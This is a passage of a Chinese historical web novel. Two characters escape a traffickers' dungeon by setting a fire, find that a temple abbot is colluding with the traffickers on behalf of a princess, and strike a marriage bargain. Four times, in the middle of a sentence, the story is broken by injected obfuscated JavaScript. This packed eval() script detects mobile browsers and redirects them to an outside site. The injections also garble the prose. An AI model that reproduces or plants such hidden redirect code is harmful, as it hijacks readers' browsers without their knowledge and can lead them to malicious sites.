密室里时间过的混乱且漫长,那些人大概每隔十几个时辰送些饭食进来。不多,刚够里面的人饿不死,也没有力气反抗逃跑。 “那他们怎么办?”裴永昭手里拿着好不容易抢来的半块玉米面饼子,指着水牢里的几人问道。 “你还管他们?先顾着自己饿不死再说吧!你不吃?不吃给我……”回话的还是头一日与裴永昭搭话的那名少年,说着他便要来抢夺裴永昭手上的饼子,却在看到裴永昭举起的拳头时,讪讪地停下,扭头走到一旁的角落里小心地啃咬着手里的小块饼子。 抬头看了眼水牢里的少年,刚才裴永昭凑过去看了看,那样子像是只剩下一口气强撑着了。 低头看了看手里的饼子,裴永昭大口咬下。乱世先杀圣母,对不住了兄弟。 虽然刚刚那小子不地道,但是他说得对,这种时候,先保全自己再说。 饼子还没吃完,密室的门又被推开。 一道纤细的身影被粗鲁扔了进来,正好撞到旁边的裴永昭身上,他下意识的伸手去扶,手里未吃完的玉米饼子不小心甩到一旁的地上。刚才的少年瞅准时机上前捡起,慌忙塞进了嘴里。 “你!” 裴永昭怒极,本来就没几口! 气得他将手里的人影随手扔在了地上,地上的人闷哼一声。 不对,这声音好像有些熟悉,裴永昭蹲下身,将那人翻过来,果然看到了那张让人气得牙根痒痒的脸。 8. 逃跑 之前还想着该怎么找沈云漪这丫头算账,没想到今日竟然给他自动送上门来。不过,她怎么身着男装?还如此狼狈?算了,管她呢,先找到解药救命要紧。 看了看周围并没有人注意他们,裴永昭将依旧紧闭着双目的沈云漪拖到一旁的墙角。 他拉过沈云漪的胳膊,顺着衣袖上下摸索着翻找了一遍,明明记得上次她就是从这里拿出的解药。那是在腰间的暗袋里? 突然,一只纤细白皙的手猛地抓住裴永昭乱翻的手。 定睛一瞧,刚才还昏迷不醒的沈云漪此时正半靠在墙角,目光如刀的盯着自己。 一愣怔,裴永昭下意识的张着双手往后一退脸上有些尴尬,讪讪地道:“沈云漪,我的解药呢?” “……” 她嘴唇微张不语,只是双目瞪得浑圆怒视着裴永昭,脸上的神情是又惊又怒。白皙的脸上泛起绯色,眼角的朱红色泪痣愈加明显。 “我……我”看到她看向自己的眼神,像是两把刀子扎在他身上。裴永昭一个激灵突然惊醒,糟了,自己现如今是男身,这里又是受封建礼教荼毒严重的古代,刚才他这番行为跟登徒子没有什么区别。“……我只是想找解药,忘,忘了……”说到最后,他声音越来越低,他都觉得自己不占理。 “你无耻!咳咳咳……” “对对我无耻……”现如今,裴永昭只有低头认错,确实是他趁人之危,没有顾忌男女大防。人家骂两句也是应该的,所以沈云漪骂一句,他便低头附和一句,只希望看在他态度良好的份上,赶紧把解药给他。 “解药的事你就不用想了” “对对对,我不想了……不是,沈姑娘,我招你惹你了,咱们就见了一面你便给我下毒。” 沈云漪闭上眼睛养神不再理他,身上的伤口此时疼的愈发明显。她感觉身子时冷时热,耳边裴永昭聒噪的辩解声也愈发的远,在意识再次陷入混沌之际,她猛然攥住裴永昭的手,干燥温暖,与周围的阴暗潮湿对比明显。“你救我,我便救你……”说完,她双目再次无力的阖上。 看见再次昏迷不醒的沈云漪,裴永昭叹了口气,上前摸了摸她的额头,果然烫的吓人。 刚才她脸色就不对,他并没有觉得沈云漪是因为被他摸了,害羞脸红,他还是有几分自知之明的。 刚才找解药的时候,他便发现,沈云漪的大腿上有一处刀伤,虽然已经绑住伤口止血,暂时不会因为失血过多而亡。但若是长时间不接受医治,这里阴暗潮湿,伤口被感染,高烧不退也会要了她的性命。 这丫头,命都快没了,竟然还敢要挟他。果然是恶毒女配的人设,够毒,够恶。 裴永昭并不想多管她的闲事,但若是不管,任她死了,自己身上的毒解不了,到时候也是死路一条。 深吸一口气,裴永昭站起身,再次环顾了下四周。本来他还预备再待上几日,看看这群人贩子到底葫芦里卖的什么药,但是如今沈云漪病情危急,怕是等不了了。 他拿起先前换下的衣裳,用墙角的油灯点燃。 一件衣服的火势并不大,但是这密室里空间狭小,人又多,众人察觉到起火时,那件衣裳已经完全着了起来。 “你们想不想逃出去?”裴永昭站起身俯视着密室内惊恐万分的少年们,这段日子他们被折磨的已经是惊弓之鸟,如今看见火光,唯一的本能反应便是尖叫着往密室门口那边靠拢。 “你有什么办法?”过了许久,才有一个声音回答裴永昭,正是上次抢他玉米面饼子的少年,他名叫魏潜,已经被关在这里一月有余。 “放火。”裴永昭看着魏潜道。 这几日他能够明显感觉到,外面这些人对密室内这群少年的容貌极为看重。而且近日他们应该是急需一批人交差,容不得出错。 所以,他想赌一把。 “好,我帮你。” 魏潜将身上的外袍脱下,扔到快要燃尽的那团火堆里,有了新“柴”的加入,火苗又燃的旺盛起来。 “大家现在都是一条绳上的蚂蚱,若是不与这位兄弟一起一鼓作气逃出去,少不了被牵连处置,你们也清楚他们的手段。难道你们想被关在这里一辈子,还是容貌毁了后被敲断四肢送走? 魏潜的话刺激到了其他人,密室内麻木的少年们显然已经被其说动。有几个也将外袍脱下,扔到那火堆里。 “现在大家赶紧找块布,用水打湿捂在口鼻上!”幸好旁边就是水牢,虽然水脏点臭点,但总比没有好。 从身上扯了两块 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621375|172259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 布条,打湿之后裴永昭先围在自己的口鼻上,那冲鼻的味道比沤发了的屎尿味道还甚,但如今也不是挑挑拣拣的时候了。 他将第二块布条绑在沈云漪的口鼻上。不知道是不是看错了,他看见紧闭着双目的沈云漪眉头蹙了下。 “快来人啊,救火啊!”已经有人在拍打密室的门, 外面守门的贼人听见声音,急忙喊来同伙。 外面窸窸窣窣开门声传来,密室内已经浓烟密布。 外面亮,里面暗,那些贼人从外面往里面看,一时之间有些看不清里面的情况。 裴永昭瞅准时机上前对准一个身影旋身踹去,正中那人的左胸,只听那人闷哼一声倒地。借着力气,裴永昭腾空一记鞭腿横扫过去,门口两人又被踹翻在地。 见同伴接连遇袭,一贼人拿着刀刃,向裴永昭劈砍过来。虽然这具身体反应慢些,耐力弱些,但好在他借着密室内的烟雾掩护,一个俯身,堪堪躲过那刀刃。紧接着他一个弓步,一记直拳砸在那举着刀刃的贼人脸上,耳边传来清脆的骨头碎裂声,那人的鼻梁骨怕是已经断了。 陆续还有贼人进来,但密室内的浓烟再加上众少年合力,那些贼人竟然出现溃败之势。 “快走,不要恋战!”裴永昭回头招呼了一声,背上沈云漪,看了眼同样背着人的魏潜,两人心照不宣的往密室门口冲去。 冲出密室,裴云昭才看见外面的破庙并没有贼人把手,他手里还握着刚刚抢来的刀。 有些蹊跷,事情不太对劲。 “快走!”陆续有少年从浓烟密布的密室里逃出来,裴永昭打着头阵,往庙外冲去。 连着跑出了几里地,回头看着那破庙已经被远远地甩在了身后,裴永昭才将沈云漪放下,自己靠在一旁的树荫下大口的喘着气。 这具身体应该是没有这样爆发式的使过力气,此时的他感觉肺像是要炸开一般。 回身看向逃出的方向,没有人再朝他们逃的方向过来。当时情况紧急,顾不上其他,大家都是四处逃散。 “咳咳咳……”沈云漪紧闭着双目,纤细的眉头皱起,脸上的红晕一直未退。 裴永昭站起身,双手交叉放在胸前,看着地上的沈云漪。“别装了,我知道你醒了。” 9. 逃出生天? 沈云漪的眼皮动了动,见确实满不过,索性睁开了眼。 虽然她现在身着男装,不施粉黛。可她眼角微微上扬,五官精致柔美,若是不说话,端是静静的坐在那里,旁人只会受迷惑,将她当做一朵娇俏无害的小白花。 但这对与她在乱葬岗初相识的裴永昭不起作用。 “既然醒了,你自己想办法回城去吧,我还有事,把解药给我。”裴永昭已经打定主意不再与这丫头有什么牵扯 ,这丫头诡计多端又神神秘秘的,与她接触两次,他总是吃亏。 “多谢裴世子相救” 身上有伤,沈云漪并未起身,但她脸上满是郑重之色。她这次死里逃生,确实是要感谢裴永昭。在被人丢进那暗室之前,她已经做好再次身死的准备,没想到造化弄人,让她恰好被丢在裴永昭身上。 “谢倒是不必,你把那解药尽快给我才是正事。”重获新生,裴永昭最不喜欢的便是自己的性命拿捏在旁人手里。 沈云漪苍白着脸摇了摇头:“没有解药”。 “你这坏丫头,我都按照你说的将你救出来了,你还想怎样……” “那日喂你吃的不是毒药,自然也就没有解药。”沈云漪看到裴永昭脸上的神色由晴转阴,又突然懵在那里,一时间不自觉得嘴角上扬,脸上露出无辜的表情。 或许是上一世裴世子死得早,她竟然不知传言中的废物世子也是个有趣的人。 “你!”裴永昭自诩两世为人,他都算得上是个情绪稳定的人,毕竟情绪不稳定,也做不了他那一行。但是自从认识沈云漪,他怎么感觉自己从未平静过? “算了,你一个初中还毕业的小丫头,我跟你较个什么劲。” 小声嘟囔完,裴永昭认命地蹲下身子,背上沈云漪,往前走去。 “你这是?”沈云漪错愕地任其背上,身下的身子虽然瘦削,但是背着她却走得步步稳当,让她感觉不到一点颠簸。 青黛会武功,她也随着了解一些皮毛。 传言裴永昭文武不通,难道传言有假? 两人无言,裴永昭一边走,一边注意观察四周。 有些不太对劲。 这周围的环境怎么看着有些熟悉。 “这里是冷泉山后山?”停下步子,裴永昭没有让沈云漪下来,她身上的伤口感染,已经又烧起来了,此时意识不清的伏在裴永昭背上。 若是冷泉山的话,那便好说了,他可以去寒山寺找他父亲的旧识净圆大师帮忙。 “你要去哪儿?”感觉裴永昭调转了方向,沈云漪浑浑噩噩地问道。 借力将她往上推了推,裴永昭回道:“去寒山寺。” 寒山寺建在山上,庙里的僧人若是有个头疼脑热不便下山,便就地取材找些草药自行医治了。此时下山进城与上山进庙,裴永昭选择了后者。 一是此时他们距离寒山寺更近,以裴永昭的体力想要步行进城,身上还背着个人,他若是一刻不停的走,也得走到明日。二是若以他俩此时狼狈的模样进了城,风言风语还不一定会被传成什么样子。 可他们上了山,却只见寒山寺寺门紧闭。 平常香火旺盛的庙宇显得异常沉寂。 没有直接推开大门进去,裴永昭思量了下,转到寺庙后门,从一处小门进了庙。寻常的香客根本不知道寒山寺还有这样一处小门,这个小门平时打柴挑水的僧人走的多。 裴永昭也是上次在这里住了半月,偶然乱逛时才发现的。 寺里还是静悄悄的,就在裴永昭觉察不太对劲,准备从小门出去下山时,旁边的青石板小路上传来鞋底摩擦石板的“沙沙声”。 来人步子极快,还不待裴永昭反应,已经出现在视线里。 “裴公子,你怎么在这?”来人正是身着灰色僧衣的开智。 他看见裴永昭狼狈地站在后院,身上还背着个昏迷不醒的少年,脸上满是讶然。 “我……我与朋友来冷泉山登山望远,不小心跌落山崖,想着这里离寒山寺近,就想着来求大师帮忙。我这位兄弟受了些伤。” 留了个心眼,裴永昭并没有说实话,事后证明,他的选择是正确的。 “阿弥陀佛”小和尚凑上前看了眼昏迷不醒的沈云漪,“裴公子请随我来。 开智将他领到先前他曾住过的那间客房,帮忙推开门后解释道:“裴公子,这间客房是你先前住过的,至于这位施主,就暂时委屈先与你挤一挤。寺内有高僧来访,其他客房已经都住满了。” “怪不得,刚才看见外面一个香客都没有,还以为寺里出了什么事。” 裴永昭的话刚落,开智手上规律拨转的佛珠微微一顿,随即重新开始转动,脸上并没有什么变化。“高僧喜静,大师便命人今日关闭了寺门,待佛法讲授完毕,自会重开寺门,广迎香客。” 开智去而复反,又给裴永昭拿来了些伤药和饭食。 裴永昭感激地谢过,待将房门关上,一转身,沈云漪已经醒了,正坐在床榻边。“正好,你懂药理,看看这药有没有问题。” 沈云漪接过药,打开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621376|172259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后放在鼻下闻了闻。 “没有问题,是最基础的伤药。”只不过里面的药材用的都是最普通常见的。虽然药效比不上沈云漪自己配制的金疮药,但如今的情况,有总比没有强。 “这里有清水,你自己把伤口处理下再上药,我去门口等你。” 听到药没事,裴永昭将一盆清水放到床榻边,递给沈云漪一条干净的布巾。 她伤的地方隐秘,他俩男女大防,还是忌讳些的好。 出了房门,裴永昭顺着石板小路往前院走去。 开智说寺里来了高僧,不知道是怎样的高僧,竟然让净圆大师如此郑重对待。要知道不仅是京中,乃至北方诸省内的寺庙,开智大师的佛法都是讲的最好的,也是名副其实的得道高僧。如今庙里竟然又来了一位,不禁引起了裴永昭的好奇。 前院,净圆大师的禅房外,房门紧闭,裴永昭背着手小心的四处张望了一下,确定没有人,凑到禅房外的木窗下。他也想要见识一下这位得道高僧。 “长公主这次要三十,腊月十五之前交上。你如今告诉我人都跑了?”禅房内说话的是个声音低沉的中年男子,语气中带着几分狠厉与急切。 “阿弥陀佛,大人就算恼也无用,人已经跑了,至于原因,老衲已经派人去查,很快便能给大人交代。” 答话的人声音熟悉,正是净圆大师。 可是他与屋内那陌生男子的谈话内容,让本来有些模糊的东西在裴永昭脑海里渐渐清晰起来。 怪不得从那密室逃出来后不远处便是冷泉山后山。 哪里就如此巧了,原来是故意如此安排,好方便他们行事。 知道寒山寺与那些人贩子有所勾结,裴永昭小心的退到一旁,准备悄声离开,却又听见那男人开口。 “舒郡王世子手里真的没有那东西?” 净圆没有立即回答,思量了半瞬后回道:“那小子看上去平庸憨直,其实内里奸猾,他住在寺里时,我明里暗里打探过几次,他都没有吐口。” “嗯,若是实在找不到,就直接料理了以绝后患。绝不能让舒郡王一脉再次起复。长公主那边我会回去如实禀报。你尽快重新凑够三十,长公主的脾气你是知道的。” “知道了” 听到他们轻飘飘几句便要决定自己的生死,裴永昭瞳孔微缩,悄声转身,疾步往内院方向走去。他必须要赶紧离开这里。 随着裴永昭无声离开,净圆大师猛地转过头,眼神空洞地朝着紧闭的木窗方向,轻声颂了句“阿弥陀佛”。 10. 交换(捉虫) 门被推开,沈云漪赶紧拉过被子将腿上的伤盖住,红着脸愠道:“你为何不敲门!” “哪里还顾得上这些,你快收拾好,我们立即离开。”裴永昭看了眼桌上还剩半瓶的伤药,揣进怀里。只见他脸色凝重,不像是开玩笑的样子。 “怎么了?”飞快的整理好衣裳,沈云漪略微艰难地扶着床沿站起。 “寒山寺的僧人恐怕与那些贼人有牵扯,我们必须赶紧离开这里。” 刚才在禅房外听到的谈话若是不假,寒山寺此次寺门大闭,并不是来了什么得道高僧宣讲佛法,而是与后山那处密室失守有关。 裴永昭他们也是幸运,放火之时,那密室外的破庙应该正有人正在与那伙贼人缠斗,才给了他们顺利逃脱的机会。 “你可有地方躲身?”裴永昭面色凝重地望向床边站着的沈云漪,凭直觉,他总觉得这丫头应该会留有后手。现在天色已经不早,入夜之后天寒地冻,他们俩若是露宿野外,就算不喂了野兽,也是冻死的下场。 回城更是不用想了,只能先离开寒山寺,重新找个安全的落脚地方,再从长计议。 低头略微思量了一会儿,沈云漪抬眼望向裴永昭:“京城东郊梅家庄,你送我去那。” “好”。确定好去哪,裴永昭先是去门外打探了一番,确定暂时还没有人注意到他们。他转身回到房间,轻车熟路的再次将沈云漪背在背上。 沉吟了片刻,裴永昭没有回头,抿了抿唇盯着面前的房门道:“你放心,将你送到地方,我就将这些日子的事情忘了,不会影响你的声誉。” 沈云漪微愣,随即若有所思地扬起嘴角,伏下身抓紧他有些瘦削的肩膀,“好”。 —— “大师,刚才我去后院,后院小门开着,人应该是已经走了。” 禅房内,净圆大师正闭目盘坐在佛像前,轻声诵着佛经并无回应。 身后恭敬站着的开智见状,双手合十轻声退出了禅房。 —— 那梅家庄在东郊,寒山寺所在的冷泉山在京郊靠南的地方,两处相隔并不算近,更何况此时裴永昭身上还背着一人。 就算是锻炼身体了,他自己也明显感觉这段日子经过他有意无意的锻炼,身体素质比起刚刚穿越来时好了一些。 “你……为何会被绑?”尽管知道以沈云漪的性子,就算是他问了,她也不会跟他说实话,但不知为何,他还是问了出来。 “我想活命”背上的沈云漪说出这句话时不带一丝情绪,像是在说一件稀松平常的事。“你也听说了,我并非沈大人沈夫人亲生,我占了别人的位置,自然要付出代价,但是……我觉得这代价不应该用我一条命尝。” “真的沈小姐要杀你?”裴永昭脚下的步子不停,两人说着话,他反而感觉下山的路更好走了些。 “你相信人有前世今生吗?”并没有直接回答裴永昭的话,沈云漪不着边际的来上这么一句,倒是让裴永昭脚下的步子顿了顿。 “我筹谋这么多,只是想……算了,跟你多说无益,反正你也活不了几年了。”沈云漪的小嘴总是跟淬了毒似的,这话一出,裴永昭沉着脸直接将她粗鲁地放在一旁的松树下,并没有要怜香惜玉的意思,幸好地上有雪,雪下还有一层厚厚的松针。“……你此话何意?” 可是看她脸上的神情,并不似是在与他说笑的模样,难道她知道些什么。 “你知道些什么?” “舒郡王府倾覆的真相”看到裴永昭听到这话时脸上并未起任何波澜,倒是让沈云漪有些惊讶。“你不想知道是何人害你家破人亡?” “我现在只想好好活着,至于之前发生的事,我无力去追究。”裴永昭眼神暗了暗,说出这话,他心中的愧疚如杂草疯长。对原身愧疚,对原身的父母,已故的舒郡王、舒郡王妃也充满了歉意。 他穿越到这异世,并没有像人家主角那样的金手指,他如今能做的,只有好好活下去而已。多了,他也有心无力。 不顾裴永昭这副死气沉沉样子,沈云漪冷哼一声道:“好好活着?谁不想好好活着,但是你以为像你这样不争不抢便能好好活着?” 乱葬岗出现的黑衣人,她早已派人查探过,几乎可以确定便是冲着裴永昭来的。 还有他此次被那群贼人绑走关在密室,还真当时碰到了穷凶极恶的人贩子,有人正在暗处高价悬赏,要的就是他这颗项上人头。 “有人要杀我?”裴永昭错愕的指着自己,他以为自己已经被皇帝赦免,虽然没了世子的身份, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621377|172259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但也能以一个普通宗室的身份小心生存下去,没想到这样谨小慎微还是碍了旁人的眼。 自嘲的弯起嘴角,裴永昭叹了口气也坐在沈云漪身旁。 “其实那日乱葬岗的黑衣人我也猜到了,他们的目标是我,不是你。只是我不知道,我父王母妃已亡故,郡王府被抄,我孑然一身,他们就是想要取我性命解恨?”像是被抽走了所有的力气,裴永昭无力的靠在身后的松树干上。 当日辽北边关战事吃紧,舒郡王负责押送军饷至边关,却遭遇盗匪,所有饷银一夜之间不翼而飞,最近几年大齐天灾不断,战事四起,国库空虚。那三百万两白银是举国上下凑了又凑才凑出来的。却因舒郡王押送不当丢失,舒郡王因此畏罪自裁,舒郡王妃随后殉夫。 舒郡王府被抄检了个底朝天,可那三百万两饷银至今下落不明。 三百万两雪花银,足以让许多人眼红。 如今裴永昭无罪释放,作为舒郡王府唯一的血脉,他已经是很多人砧板上的肉。 “若是我能让你为父平反的同时,还能重获爵位呢?”沈云漪目光灼灼地看向一旁的裴永昭,“你如今身无长物,空有个闲散宗室的身份,护不了自己。若是你能为父平反,重获郡王爵位,那些想要你性命的人,下手的难度将会比现在难上百倍。保护自己最好的办法,就是让自己强大起来,强大到超越你的对手。” 沈云漪说到最后,扬起下巴,双目望向远处的天空,此时的天色渐晚,一抹残阳挂在远处陡峭的悬崖边。 “你凭什么如此肯定能帮我父王平反?” 裴永昭扭过头时,看到的沈云漪正沐浴在橘红色的夕辉里,整个人被镀了一层淡淡的金色。 “若是我知道此时那三百万两军饷藏在何处呢。” 瞳孔微缩,裴永昭微眯起双目盯着依旧一派怡然自得的沈云漪,“你为何要帮我?你想要什么?” 噗嗤,沈云漪笑出了声,“不用害怕,我若是想要害你,那日你吃的便真是肠穿肚烂的毒药了。哪里还能安生活到今日。” “……” 见裴永昭皱着眉头脸色严肃不再开口,沈云漪收起笑意,一脸正色道:“我帮你只有一个条件,事成之后,你爵位恢复,便去沈府提亲,娶我。” 11. 长公主 裴永昭只当是自己听错了,还在怔怔地看着沈云漪,等她说出自己真实的条件。 可两人大眼瞪小眼许久,沈云漪都没再开口。 艰难地指了指自己,裴永昭不太自信的开口问道:“若是我刚才没听错的话,你是让我娶你?” “嗯”颔首完,沈云漪一脸真诚地注视着他的眼睛,无论是错愕、厌恶、惊喜,她都能理解,可她却在裴永昭的眼中看到了惊吓? “咳咳咳,我……我怎么能娶你,你可是女的……”脸涨成猪肝色,裴永昭神色不太自然地干咳几声扭过脸去。 眼见他蹙起眉头,一副极其为难的模样,还有那不着四六的话,沈云漪有些哭笑不得。照如今这个情形来看,怎么有种她在强嫁的感觉。 “你若是不愿意,倒不用找这些不靠谱的理由来拒我” “我……我不是”想要解释什么,却又不知从何说起。说他也是女的?裴永昭低头恰好看见自己骨节分明的双手,以及一马平川的胸脯,好像现在来说,他所顾虑的那些理由,都不太成立。 “我可以给你时间考虑一下,最迟明日晌午”。她还有需要事情要做,若他们不是同路人,那她便要早做打算。毕竟,他知道自己的不少事,可是想到另一个选择,沈云漪感觉心中涌上一股难以言说的感觉。 因为刚刚的谈话,两人之间的气氛有些尴尬。 一路无话,可快到山脚下时,情况突变。 大队官兵驻扎在冷泉山脚下,俨然是将整座山围了起来。裴永昭两人若是想神不知鬼不觉的溜下山,除非肋下生双翅,飞过去。 裴永昭背着沈云漪躲在距离驻扎营地不远的灌木丛旁,现在这个时节树木凋零,幸亏有这些枯树枝为他们遮挡。 就在此时,两名兵卒轮值时间结束相约到一旁撒尿,其中一名看起来年轻些的边尿边骂“你说这寒冬腊月的,好好的大营不待,偏让咱们来这山沟里吹冷风。” “嗐,啥也别怨,怨就怨你没托生个好爹,这辈子就是个大头兵的命,还想去大帐里暖和,呸,下辈子吧哈哈哈哈……”另外一人扎着腰带,揶揄道。 “呸,托生的好了有什么用,那舒郡王世子可是托生了个好爹,如今不是照样掉到了地上。听说他伯父如今正到处托人打听他的下落,可哪里有人愿意伸手的?”舒郡王府如今就像地上的烂泥,可没人愿意上前凑,惹一身污。 “也是,听说是去五城兵马司衙门报了案,各司指挥大人都在踢皮球,没人愿意接手。” 听到他们谈论自己,裴永昭努力的侧耳想听到些什么,待听到伯父正在努力报官、托关系寻找自己时,心中说无触动是假的。 “嗐,可别说旁人了,咱们自己不也是倒霉催的,偏偏轮到咱们值守的时候碰到长公主遇刺,你说长公主也是的,这么冷的天不好好在公主府里待着,上的哪门子香啊……哎你打我干啥?” “不想掉脑袋就继续胡侃,你算个什么玩意儿,还敢议论长公主,给你十个脑袋都不够砍的!”年纪大些的眼见同伴越说越不着调,赶紧上前猛拍了下他脑袋,止住他那越来越危险的话头。 “说说怎么了……”不服气的捂着脑袋,年轻人不忿的往营地走去。 年纪大些的兵卒无奈的摇了摇头,赶紧跟上。 坐下身子,裴永昭与沈云漪背靠在灌木丛中,他们准备待天再晚些,等值守的兵卒困倦懈怠时再寻机会离开。裴永昭记得这里有处小路,刚刚他偷偷去看过,小路上铺满积雪与乱枝,已经完全掩盖住了原来的痕迹。那里又是处风口,冷风呼啸,负责值守的兵卒早就猫在一旁取暖去了。 沈云漪双手撑着地面,努力的坐正身子,身后的乱枝硌的她后背疼。 “你靠着我”背过身子,裴永昭将自己的后背亮出。不一会儿,他感觉到后背靠过来的温暖柔软,瞬间耳垂通红。 他不解,自己为何会有这样奇怪的反应,但想起正事,他还是开口道:“若是说,那群贼人的主人正是长公主呢?”他可没忘,在净圆大师的禅房外,他亲耳听到那神秘人与净圆大师提及过长公主。 “若是如此,事情便难办了。”沈云漪靠着他,身子有了支撑点,瞬间感觉舒服了许多,脑海中杂乱的思绪也渐渐被理清。 记忆中,长公主那张温蔼和善的脸也浮现在眼前,在大齐,人人都要道一声长公主菩萨心肠。长公主十七岁丧夫守寡,三十岁丧子,从那以后便关门闭户,专心茹素礼佛。 每月初一十五她还要亲自去寒山寺上香,风雨无阻。尽管只在重大宴会上见过几次面,但沈云漪却没有在她眼中看到过属于方外之人的慈悲,只有拒人于千里之外的冷漠。 她记得最后一次见长公主是在靖远国公府上,那双充满探究的眸子让她至今感觉后背发凉,那种感觉,就像是后脖颈上攀着一条冷滑黏腻的蛇。 她那日赴宴,京中其他闺秀见她也赴宴,纷纷露出惊讶神情。虽然她假嫡女身份已经被揭穿,但沈家夫妇愿意认她作义女,她也算得上沈家小姐,又是自小养在沈夫人跟前的,不论是出众的容貌还是举手投足间的世家女气度,只要她一现身,众人的目光便不自觉得向她聚集。 众人见她脸上始终淡淡的,并没有被那流言蜚语影响的样子,看热闹的兴致瞬间被熄了一半。众人又将好奇的目光投向了那位真嫡女——沈云芳。 沈云芳自小被养在乡下,从小到大哪里见过这样的场面,就算她也是重活一世,她所拥有的也是在永宁乡下时的见识与记忆。她在宴会上表现的畏畏缩缩,不甚大气。至于她的容貌,若是单独择开来看,沈云芳眉眼都随了沈夫人,是小家碧玉,清秀耐看的。 可与沈云漪站在一起,就被显得有些普通。 世家女们凑在一起最喜欢玩的投壶、牙牌令,沈云芳都不会,只能在一旁干坐着喝茶,看个热闹。 而沈云漪被众人簇拥在中间,再次成为宴会的焦点,她将手中的骨牌放下,眼角轻瞥,刚好看见沈云芳眼中那稍纵即逝的恨意与嫉妒。 还以为她会像上一世一样,继续整出什么幺蛾子,可一直到开席,都是平平安安的。 在最后一个菜被端上桌时,不知是真无意还是有人故意安排,那上菜的丫鬟恰巧在沈云漪身旁手抖了下,将那盘浓油赤酱的菜尽数撒在了她的身上。 “奴婢该死!”那丫鬟跪的极快,又含泪欲泣的模样。今时不同往日,若是沈云漪真的出声呵斥几句,倒更让人笑话。 她道了句没事,便随着国公府的下人去一旁院子里的厢房换衣。临出门时,她还有意无意地回头望了一眼,并未从沈云芳脸上看出什么异样。 那日是绛珠随她赴宴,绛珠在厢房内打开随身携带的衣箧,里面早就准备好的干净衣裙上竟然破了个洞,那洞不大不小的,恰好破在了显眼的位置。 如此拙劣的手段,比起上一世有过之而无不及。 沈云漪冷眼盯着那破掉的裙衫,她上一世究竟是被灌了什么迷魂汤?如此伎俩还让她着了道。 便是从这套衫裙开始,她一步步被毁掉名声,慌乱无措下被送与那人,她那荒诞悲惨的人生也从那时拉开帷幕。 不出所料,那院内误闯了外男,横冲直撞下进了厢房,不过,让人失望的是,那厢房内空无一人。沈云漪临时受长公主召见,彼时的她,正在靖远国公府老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621378|172259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太太房内,接受召见。 同时接受召见的还有沈云芳,沈云漪换好衣裳进门时,沈云芳已经与长公主相谈甚欢,一旁的靖远国公老夫人娄氏与世子夫人崔氏也都在一旁笑着不时附和几句,气氛倒是融洽。 虽然长公主的面不常见到,可沈云漪从小到大随秦氏参加的宴会多,远远的也见到过几次。 可没想到初学规矩不久的沈云芳在长公主面前也表现的落落大方,跟刚才在宴会上仿佛两个人。 或许是因为沈云芳从小长于乡野,她身上那股子与世家小姐不同的憨直模样,倒是十分投长公主的脾气。 从小在深宫内院长大,什么样的勾心斗角、复杂人心没有见过,憨直真实,在他们这些权贵人眼里才是最难能可贵的。 怪不得上一世,沈云芳的靠山一个比一个大,而这位平常生人勿进的长公主,便是头一位。 见到沈云漪进门,虽然长公主的脸上依然挂着淡笑,但沈云漪有自知之明,长公主对她与刚刚对沈云芳的模样是不能相比的。 回到沈府后,沈云漪便病了,借口京郊庄子上幽静,求了秦氏去庄子上住几日。 秦氏听说亲生女儿受了长公主赏,忙着去教授沈云芳在世家大族间行走的一些隐秘规矩,也就顾不上她,让大夫去去瞧了确实是病了,便派了婆子丫鬟将沈云漪送去了沈家在京郊的一处庄子。 因此沈云漪也才得到机会遁身出来,查探长公主与沈云芳是否有其他接触。 她男扮女装是为了行事方便,没想到刚到冷泉山脚下,便被那些贼人敲晕绑了去。跟她一块的青黛如今也下落不明,想到青黛,沈云漪的眸子暗了暗,垂下脑袋。 青黛虽然是受了她的恩惠才愿意追随在身边保护她,可她从未将她与绛珠看作普通丫鬟。如今不管怎样,她都要想法子救她出来。 听完沈云漪的讲述,裴永昭陷入了沉思。“你是说,你是查到线索,才来冷泉山的?” “嗯”沈云漪点头。 “你的丫鬟还在他们手上?”感觉事情有些棘手,裴永昭为难地挠了挠头。“你想救她?单靠我们两人?” 